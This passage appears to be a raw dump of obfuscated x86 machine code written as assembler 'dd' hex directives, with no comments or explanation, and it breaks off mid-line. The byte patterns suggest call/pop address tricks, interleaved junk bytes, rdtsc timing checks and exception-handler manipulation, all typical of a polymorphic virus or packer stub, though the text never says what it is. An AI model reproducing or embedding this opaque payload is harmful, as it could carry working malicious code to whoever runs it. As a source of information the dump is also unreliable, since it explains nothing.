4245C89h dd 4244481h, 1Ah, 4FC35343h, 74F1E716h, 9D89E1E8h, 61B0415h dd 1769BD83h, 0F00061Bh, 0A484h, 0E99D8B00h, 0B8061B24h dd 0 dd 39BD29h, 890F061Bh, 6, 84DB589h, 8D8D061Bh, 61B4CD3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 2AC35242h dd 2DCAEB33h, 0F8069085h, 0DE9B8h, 0EAFA0000h, 25F42B6Ah dd 0A429F21Ch, 0E8E7EDD2h, 6, 9AC1661Eh, 800F91AEh, 6 dd 25918509h, 0FF5F061Bh, 56006AE1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0C402DAh, 0FF662426h dd 55BD8B16h, 9061B24h, 1B0071B5h, 0D1BD8306h, 61B13h dd 492840Fh, 0FB8B0000h, 13D1BD83h, 0F01061Bh, 49E84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0D6586284h, 7016EEE0h, 11E960h, 0BE150000h dd 50234BFCh, 0A97FF60Ch, 0F9AD2C18h, 0E8CEF6DDh, 0Ah dd 6D1BFBC0h, 5F6275E5h, 0B533F6F0h, 61B30DDh, 9589615Bh dd 61B2D4Dh, 13D1BD83h, 0F03061Bh, 40486h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 5B24E14Dh, 3EF53EADh, 68A0Fh, 0BD8B0000h, 61B0E6Dh dd 2153CFBFh, 6A6024h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0A04C69C3h, 30C3F1DCh, 2E39BD8Bh dd 8C66061Bh, 818DBBD9h, 0E18077B1h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0D9EECDF7h dd 543E2A14h, 4DBD8908h, 0A061B01h, 32840FC9h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E825C356h, 0Dh, 27843010h, 0DABE4B49h, 5E86400Ch dd 0CE95F44h, 0BB000000h, 34A6B2EBh, 0F17A48Ch, 8BCCEB5Dh dd 1B014585h, 8533F806h, 61B2A31h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0A0C35747h, 0FAC0CE87h, 85507282h dd 19D89C5h, 90061B13h, 66CB8B60h, 5061D88Bh, 52A8BF66h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 6FC62B6Ch, 0C5BD89BFh, 6A061B08h, 3DB58900h dd 68061B2Ch, 0EACA0DC5h, 50515250h, 5A310F52h, 310F5B58h dd 481585Ah, 54F63A24h, 0A329BF15h, 95FF1E82h, 61B3235h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 5CC35646h dd 0E0C6D21Fh, 3F1A81BEh, 998589F9h, 6A061EADh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 77E7C357h, 0C266D1D5h, 0E9F7C10Dh, 1BFh, 0BFD38166h dd 91858BEDh, 6A061EADh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 9E0AC356h, 709DEADFh dd 0B1B58972h, 57061B29h, 5B07E380h, 1800C7h, 85890000h dd 61B0E81h, 0AD95B58Bh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 31A097C3h, 30399D8Bh dd 858B061Bh, 61B1229h, 0C099D8Bh, 0D98B061Bh, 858B0689h dd 61B0145h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 69C35141h, 4689FA8Bh, 0B7D88A04h, 0FB8B967Dh, 6A9650h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0F86A3C3h, 8BD52852h, 1B2D2D9Dh, 91B5FF06h, 8B061EADh dd 1B1A49BDh, 45FC6806h, 0BDB7A22Ch, 3240481h, 6A5DF2BEh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 3593C353h, 53C812C7h, 6653E6F2h, 9D8BDE8Bh dd 61B16A1h, 0AD99858Dh, 6E8061Eh, 33000000h, 0B9C5ED78h dd 0BE86Ch, 75AE0000h, 54F2C95Dh, 0A53FD16Ch, 61BD8B67h dd 5B061B12h, 5050905Fh, 68E0F52h, 0F000000h, 86h, 57310F00h dd 0BE8h, 0A7BD8400h, 0D27C1819h, 283D6975h, 585A5F5Bh dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8BDD7211h, 1B0A4DBDh, 3595FF06h, 6A061B32h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0DEBAC353h, 7BA00166h, 0BF665275h, 615B0785h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0F9C35040h dd 5BEB8081h, 26E2AABFh, 0D185C70Fh, 3061B13h, 89000000h dd 1B24618Dh, 89605106h, 1B297595h, 61D58A06h, 99BD835Fh dd 61EADh, 2F840Fh, 0D88B0000h, 43E9h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0C25EDC97h, 89457ED5h, 1B0D71BDh, 0C305006h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 1D59BD2Bh, 0CE8061Bh dd 0A1000000h, 31A6A9A5h, 0A77BBAD3h, 8BC1FDB7h, 1B0EF5BDh dd 0BD835B06h, 61B13D1h, 0B850F03h, 83000004h, 1EAD99BDh dd 840F0006h, 3FEh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 4FC35141h, 6616577Dh, 1B88EB81h, 0AD99B5FFh dd 0BF0F061Eh, 6D8589DFh, 0FF061B0Ch, 1B011195h, 0F2816006h dd 0CC8911Ah, 2E498D89h, 8961061Bh, 1B32F195h, 8DB58B06h dd 89061EADh, 1B12C195h, 106C706h, 6A000100h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 23DFC352h, 0B30E3E04h, 0E850E75Dh, 12h, 459B099h, 277F148Ch dd 4AEF949Ah, 191996CBh, 895BF54Ah, 0CB802434h, 99B5FFF0h dd 6A061EADh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 66E1C350h, 95FFD98Bh, 61B1BC9h dd 0EB87DB81h, 0B58B228Eh, 61EAD8Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 56C35747h, 0B69D282Ah, 2E5F2067h dd 25858BCDh, 33061B0Dh, 1B2DB5BDh, 0C4868906h, 89000000h dd 1B1F4195h, 29958B06h, 6A061B24h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0B6FBC352h dd 6A04C283h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 7281C357h, 6820FEDh, 8B000000h dd 1B0265BDh, 8E96006h, 0CA000000h, 36C690C5h, 0E964958Bh dd 10h, 0E81CDB3Eh, 0AF9AB839h, 0F92AE11Bh, 9133D8DCh dd 20508961h, 506933BBh, 0C7858D67h, 6A061EC0h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0EB69C353h, 868994B3h, 0B8h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0C8C35545h, 6AD84Dh, 0B5FFFB8Bh dd 61EAD99h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 92C35040h, 79B5BFB5h, 95FF509Ah, 61B142Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B5C35242h, 93A797D5h dd 8BBE7238h, 0A5BD8BF9h, 50061B02h, 50243489h, 10919589h dd 0FF5F061Bh, 1EAD99B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh dd 24448104h, 1704h, 0C3534300h, 97264592h, 15BB6651h dd 95FF5F51h, 61B1B91h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0C7C35141h, 7D4815FEh, 29B15CAAh, 1B0989BDh dd 81BD8306h, 61B0Ch, 55840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F249EC3h dd 683h, 0ED852900h, 96061B08h, 8783BB66h, 0FE8B6650h dd 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0C59D8BE4h, 0FF061B2Fh, 1EAD99B5h, 0FFA1B306h dd 1B0BD595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 84678A42h, 9D8BE6BCh, 61B2EB5h, 8E9h dd 0D7130200h, 7CF0C5EAh, 99B5FF4Ah, 6A061EADh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 9312C352h, 995FFF5h, 0F8061B1Ah, 7A5BD83h, 0F02061Bh dd 5884h, 8D895300h, 61B1EDDh, 31858B5Bh, 6A061B30h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0CA41C356h, 0F960DB5Bh, 810F61F9h, 1, 0C6F9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 63C35242h, 0D585C7D3h dd 61B2Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 6B0FC350h, 0E418529h, 8CE9061Bh dd 8BFFFFF3h, 1B0A31BDh, 6AC18B06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0AC5AC352h dd 0E251FB46h, 39F78166h, 0ED858DEBh, 80061B32h, 8B5022CBh dd 240489F8h, 18D9D89h, 6A061Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0E8C35141h, 80D46E0Ch, 953171DBh dd 61B2939h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0EA355CC3h, 1CDB8166h, 8C858D20h dd 83061F40h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 13E976C3h, 54000000h, 0D4350E68h dd 0A23E5EBh, 0EF3E478Fh, 346005D4h, 0B70F6E16h, 525090FEh dd 310FF88Bh, 3860Fh, 8B660000h, 50585ADAh, 9E9h, 16EC3900h dd 0EACE11F6h, 6090DBE6h, 6C33D981h, 8D8B3FDDh, 61B16D9h dd 6A006A61h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 23C9C356h, 567B04CEh, 0FF006A5Fh dd 1B1A0195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0EF570C5Fh, 0FE9F7h, 5A780000h, 0FD432BD7h dd 0F5A03BF5h, 98BF7080h, 0B78D8DA4h, 6A061E92h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0DF52C351h, 0D8CE2F7Eh, 6078F2E5h, 1D898529h, 0FF61061Bh dd 759D29D1h, 83061B16h, 1B1CD5BDh, 850F0106h, 81h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7AC35646h, 51B940C5h dd 38D0Fh, 0BF0F0000h, 66026AD9h, 8950F98Bh, 6A2404h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0F88585C3h, 0CC474D31h, 95FF2790h, 61B142Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 86C35545h, 51028955h dd 0D3D977CBh, 0D2EE982h, 0E80000h, 5D000000h, 4096ED81h dd 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 4B50F8C3h, 858D7037h, 61E853Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B6C35141h, 0EDCC923Ah dd 9D23F98Bh, 61B0D5Dh, 14E890h, 5CDD0000h, 0AC372752h dd 6FAC79ADh, 64187145h, 0A35E1FB8h, 0F88A9AEBh, 0E860505Fh dd 0Dh, 66A88B6Bh, 23A428BBh, 0AEA0AE7Bh, 0F0B966BFh, 8B0F5A77h dd 2, 90616160h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 7BC35545h, 0F503B1Fh, 682h, 0ED858900h, 5F061B2Eh dd 35FF64h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0C869C352h, 4491AAD0h dd 2589649Fh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 2CC35545h dd 8BB1E640h, 1B2605BDh, 0D85FF06h, 66061B2Bh, 6AEC8EBFh dd 0B3C780FFh, 3A5B5FFh, 0BF0F061Bh, 595FFFBh, 0E9061B08h dd 13Dh, 7A1B589h, 0B0061Bh, 0F599BB66h, 0BF0F70E6h, 159D8BFAh dd 0E4061B02h, 68A0F71h, 89000000h, 1B10E1B5h, 0BD9D8906h dd 3C061B2Dh, 0A830F61h, 0F000001h, 0B60FF8B7h, 862CBBC8h dd 6BA0CACh, 66000000h, 0C18BF98Bh, 0E8C1FE8Ah, 0AD9D2304h dd 53061B0Dh, 742EBF66h, 0E2F7665Bh, 0E8816660h, 1AB5B509h dd 0E8C82B61h, 13h, 0D52F4BE8h, 0E2CA339h, 936BA091h, 647E7BCh dd 0E80F4575h, 5, 0D424BC62h, 5FFE8B78h, 89D18B5Bh, 1B0BCD85h dd 0E8FC6006h, 6, 9DAEEE08h, 0E181802Ch, 6D949EA1h, 6E9615Ah dd 8B000000h, 1B29759Dh, 35858B06h, 83061B0Eh, 853107C0h dd 61B3109h, 0E900C083h, 0Ch, 4E7A5DACh, 4293718Eh, 0C83402EAh dd 0CB9BD8Bh, 0D03B061Bh, 11830Fh, 0BD8B0000h, 61B0845h dd 4CE9h, 8A0F00h, 8B000000h, 1B06B98Dh, 0CE906h, 3F480000h dd 0C2D4A6D2h, 0CC8A7923h, 0E18362C5h, 26840F01h, 8B000000h dd 0B9A583D9h, 0FE061B06h, 0D1B70F60h, 35DBD29h, 8961061Bh dd 1B0E3595h, 18A0F06h, 0F9000000h, 0E9h, 10B58D00h, 0E9061ECDh dd 8, 3CD26DB6h, 0A5CE12C5h, 95FF006Ah, 61B2205h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 9CC35747h, 8BAD58DFh dd 1B2EC99Dh, 0D85B906h, 9D8B0000h, 61B2919h, 76A4D381h dd 0E1837C1Eh, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0FC826738h, 0B82DB7h dd 0F000000h, 684h, 49BD2900h, 0BA061B12h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8CC35242h dd 33AD1F28h, 3E8D1C2h, 4E983D0h, 9D8BF475h, 61B0ED5h dd 68A0Fh, 0C3810000h, 30A5855h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 15C35242h, 0AE667501h, 659D31E5h dd 81061B02h, 6F3EEBCFh, 880D61h, 958B0000h, 61B2429h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 9EC35141h dd 0C999119h, 20B383C9h, 7658D8Bh, 9D89061Bh, 61B1715h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD8B5818h dd 61B08E5h, 1769BD83h, 0F00061Bh, 6D84h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 19074FD9h, 0B8C0F380h, 0 dd 12E9h, 6B9AEC00h, 238F26EDh, 0E64E0274h, 0AC148B27h dd 8D5EEEF8h, 1B4CD38Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 1345414Ah, 0E1FFEE80h dd 0E21BD8Bh, 0BD83061Bh, 61B13D1h, 0B5840F00h, 31000004h dd 1B2A9185h, 0D1BD8306h, 1061B13h, 4BD840Fh, 0BD830000h dd 61B13D1h, 7A860F03h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 1EE0C352h dd 96FA6C87h, 6A60EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 2551D4C3h, 0E990CE57h, 5, 5F0808ABh dd 0D98C6646h, 80FB8B66h, 516004E1h, 1A0D9589h, 8A58061Bh dd 0C90A61F7h, 1BD840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0B5BDB2C3h, 0F3413013h dd 858B7177h, 61B0145h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 5BC35646h, 10221DBFh, 148F0Fh, 0FE90000h dd 6E000000h, 4F4BC8BAh, 0AB454959h, 0EA0DB52Fh, 8533E123h dd 61B2A31h, 5050FA8Bh, 34BF6652h, 0E9310F86h, 0Dh, 94468F23h dd 9C4F68CBh, 71B9A04Fh, 89585A24h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 5E8023C3h dd 8B09E2DEh, 1B0975BDh, 6810F06h, 8B000000h, 1B2409BDh dd 0E9006A06h, 11h, 445B9DD7h, 5FF71A49h, 123CF1BFh, 0D5D162FFh dd 4E8CBh, 3FF0000h, 8F0F001Fh, 15h, 9E8h, 18BC9600h, 0EB9D67C9h dd 52504D8Ch, 585A310Fh, 13E8505Bh, 95000000h, 49BC1D69h dd 0C8505F82h, 0B1DB59E1h, 0BBF3C53Fh, 52509CE7h, 310F5250h dd 310F585Ah, 585AF88Bh, 24448B5Bh, 0E9008B04h, 0Bh, 1CDF0053h dd 9EAF57CCh, 89FD7FAAh, 8B042444h, 8E0F58DFh, 0Ch, 7E9h dd 0ADCDA400h, 40E88DB0h, 323595FFh, 0BD31061Bh, 61B2379h dd 28C99589h, 8589061Bh, 61EAD99h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0CEC35141h, 8077AC21h, 8626BB66h dd 1F5E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 54CDD5CBh, 0BD2BA551h, 61B243Dh dd 8BDBB70Fh, 1EAD9185h, 0DEB70F06h, 1800C7h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0D6FAACC3h, 0B0C84952h, 810Fh, 0B58B0000h, 61EAD95h dd 0DE59589h, 8B66061Bh, 29858BDFh, 6A061B12h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0E804C356h, 0DDF85151h, 958907FFh, 61B2E05h, 6A0689h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0CFDC36C3h, 0D997BF9Eh, 0CE92E53h, 0E9000000h, 0B0593499h dd 53AC1D99h, 8B6FB4F6h, 1B014585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 56CA8A47h dd 5FCBF993h, 2C359D8Bh, 0B70F061Bh, 44689FAh, 96DF8B66h dd 4840Fh, 0BB660000h, 0B75028DEh, 0EE89658h, 9000000h dd 1990DE5Ch, 0C2B46B43h, 0E2FE8A43h, 499D89E9h, 5B061B18h dd 0AD91B5FFh, 820F061Eh, 6, 0EE98D89h, 0B668061Bh, 0F53184Fh dd 28Fh, 81FA8B00h, 4C492434h, 6A5307h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 444F80C3h dd 10E94DCDh, 0E6000000h, 98090D9Ah, 0C1A589BEh, 7F16D7DFh dd 8DBD5489h, 1EAD9985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0F98B666Fh, 9C98D89h dd 5250061Bh, 2404895Fh, 0CE9BD8Bh, 95FF061Bh, 61B3235h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 60C35646h dd 0DA8A3E0Bh, 7A9B529h, 0F61061Bh, 68Fh, 259D0100h, 0C7061B24h dd 1B13D185h, 306h, 59D8B00h, 83061B00h, 1EAD99BDh, 840F0006h dd 5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 38C35141h, 0DEE795BFh, 52E954h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 8D62A3C3h dd 4420C612h, 0E93B89FCh, 0Dh, 6027451Dh, 0C9B44806h, 3058EC7Bh dd 0C30505Ch, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 86C35545h, 0F98B2B22h, 5840F60h, 0BF000000h, 578EB143h dd 0D1BD8361h, 3061B13h, 39F850Fh, 0D88B0000h, 0FE9h, 6C687200h dd 1B45F985h, 9B6B68C7h, 0A70DA023h, 0AD99BD83h, 0F00061Eh dd 37C84h, 0FFFE8B00h, 1EAD99B5h, 49BD8B06h, 0FF061B09h dd 1B011195h, 9DF38106h, 8B05EE76h, 1EAD8DB5h, 0F5CF8006h dd 106C7h, 9D890001h, 61B01BDh, 7E950h, 24BB0000h, 973D3EA5h dd 2434897Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 82C35646h, 8CAC8886h, 10E9h, 217ABE00h, 40AEDBA0h dd 2F77F1C8h, 0FBF67041h, 99B5FFA1h, 6A061EADh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 51C8C356h, 5A9A55B1h, 0FF898771h, 1B1BC995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 932C2BDh, 32FC3777h, 1781B589h, 0B58B061Bh, 61EAD8Dh dd 2B559D8Bh, 858B061Bh, 61B0D25h, 25ADBD8Bh, 8689061Bh dd 0C4h, 1C71B501h, 958B061Bh, 61B2429h, 0F2DEE781h, 0C28312B7h dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0AD49F142h, 47248D34h, 89D98B7Dh, 9D8B2050h dd 61B2509h, 0C0C7858Dh, 8589061Eh, 61B3115h, 0B88689h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 830FBDC3h, 95896559h, 61B1F19h, 2C29BD89h dd 6AF8061Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 7B67473Eh, 0FFD8BF0Fh, 1EAD99B5h dd 11E85606h, 0E0000000h, 0EFC72824h, 14127BA7h, 0F82E50D5h dd 0CE496010h, 25E19589h, 5F5F061Bh, 142D95FFh, 6A061Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 7EA853C3h, 0C9F1C2A2h, 0B531D17Eh, 61B0C91h, 99C7BB50h dd 34893092h, 0FFBF0F24h, 0AD99B5FFh, 13E9061Eh, 0A0000000h dd 78F6BFAEh, 0A8E040D6h, 2856D165h, 90837839h, 95FF91B4h dd 61B1B91h, 7E9h, 0F3D08700h, 0E28AEF54h, 0C81BD83h, 0F00061Bh dd 4784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0CC7AEBC3h, 802358D5h, 0E99626CFh dd 13h, 941EAFD7h, 22C58C83h dd 893B3C68h, 0EA9825F8h, 507BCC00h, 6696DA8Bh, 2760DB81h dd 0AD99B5FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0CA5D7CC3h, 58A0FEFh, 0BB000000h dd 592D9014h, 0BD595FFh, 8F0F061Bh, 6, 3165BD8Bh, 0B5FF061Bh dd 61EAD99h, 9DDBD8Bh, 95FF061Bh, 61B1A09h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 45C35040h, 0D01E934Dh dd 5426B0A0h, 0FD88A70h, 0BD83FBBFh, 61B07A5h, 41840F02h dd 66000000h, 66E89EBFh, 8B16D8BFh, 1B303185h, 0D88B6606h dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 8E94C357h, 0C7D5259Fh, 6840Fh dd 0BD8B0000h, 61B28D5h, 2BD585C7h, 61Bh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0F9A9EEC3h, 0E9FDCF11h, 2D850987h, 81061B0Dh, 5B3A71E7h dd 0F411E96Ah, 6660FFFFh, 0EAC1E981h, 5E8h, 9DCEDA00h dd 61608D0Ch, 0C18B615Eh, 564ABF66h, 32ED858Dh, 6A061Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0E1BCF5C3h, 0BD8BDC85h, 61B2535h, 0EE990h, 91FA0000h dd 0D224874h, 605A03A1h, 8E613933h, 8B525050h, 0E9310FFEh dd 0Ah, 0C1E96FA0h, 317B9C3Bh, 585AA76Eh, 6ADA8B90h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0D357D0h, 53604E5Fh, 0EB5858Bh, 0E95E061Bh, 13h, 0DE0CB82Bh dd 0F0D1840h, 45FF2B53h, 111BFFC1h, 61683879h, 814FBB66h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0A25CCDC3h, 60EABC68h, 89CF8B66h, 1B307185h dd 858D6106h, 61F5026h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 37C35040h, 0D20927C4h, 0F98B6680h, 6A05C083h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0D733C350h, 661AAB0Ah, 90FBF3BBh, 6402BF66h dd 38D2BF50h, 6A905D2Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 2BA5C356h, 6AF8B70Fh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0C39AD4FEh, 929ACD3h, 1B28F195h, 0E19D8906h dd 6A061B24h, 899D8B00h, 0FF061B2Dh, 1B1A0195h, 0F9BD8B06h dd 8D061B28h, 1E92B78Dh, 0FE906h, 0E2430000h, 1804F53Ch dd 8F57AC81h, 586A39CAh, 6AD1FF4Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0E294C353h dd 0D5BD83FCh, 1061B1Ch, 8D850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0A2AE6DC3h dd 9CC33D52h, 6A026AF9h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0C6CEC355h, 0F82122D4h dd 9E8208Dh, 0E000000h, 0E799BA59h, 0FEE2251Ah, 2E959589h dd 505F061Bh, 0BF665151h, 5B5B5F2Fh, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 913BC355h, 2D95FFCBh, 0E9061B14h, 0E17h, 0E8h, 0ED815D00h dd 61F5030h, 9E9h, 0F816A600h, 0EAE15B28h, 6A3A2Fh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0ED778FC3h, 858DD5BAh, 61E853Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 71C35747h, 865BD8Bh, 6690061Bh dd 0E950D98Bh, 11h, 0E2044755h, 0DB44DDE7h, 0B983AF72h dd 0A82AD6C2h, 895690EFh, 1B242585h, 0FF645B06h, 35h, 0AE900h dd 0B2080000h, 0FC094975h, 23CD6A9Ch, 258964h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0BC0EC355h, 2E56EF50h, 2B0D85FFh, 8531061Bh dd 61B0959h, 800FFF6Ah, 6, 65D8D29h, 0B5FF061Bh, 61B31BDh dd 0EE9h, 0E290C00h, 0E6104E24h, 0BAFF1AC1h, 0FFA70CCFh dd 1B080595h, 0FAE906h, 0BD8B0000h, 61B12D9h, 0BE9h, 0ED61F600h dd 60D337F4h, 76EB6F32h, 0B70F00B0h, 0E470E6FAh, 0F613C71h dd 0D383h, 95896000h, 61B1F35h, 6850Fh, 95890000h, 61B1935h dd 0C8B60F61h, 0C7C78166h, 6BA11h, 0FA8A0000h, 9D33C18Bh dd 61B29D5h, 4E8C1F5h, 30D5BD8Bh, 0F766061Bh, 0D9B70FE2h dd 0BD8BC82Bh, 61B1889h, 9D8BD18Bh, 61B13D9h, 0AC38166h dd 6E92Fh, 9D090000h, 61B066Dh, 3001858Bh, 0BD29061Bh dd 61B1195h, 0E907C083h, 5, 417EB947h, 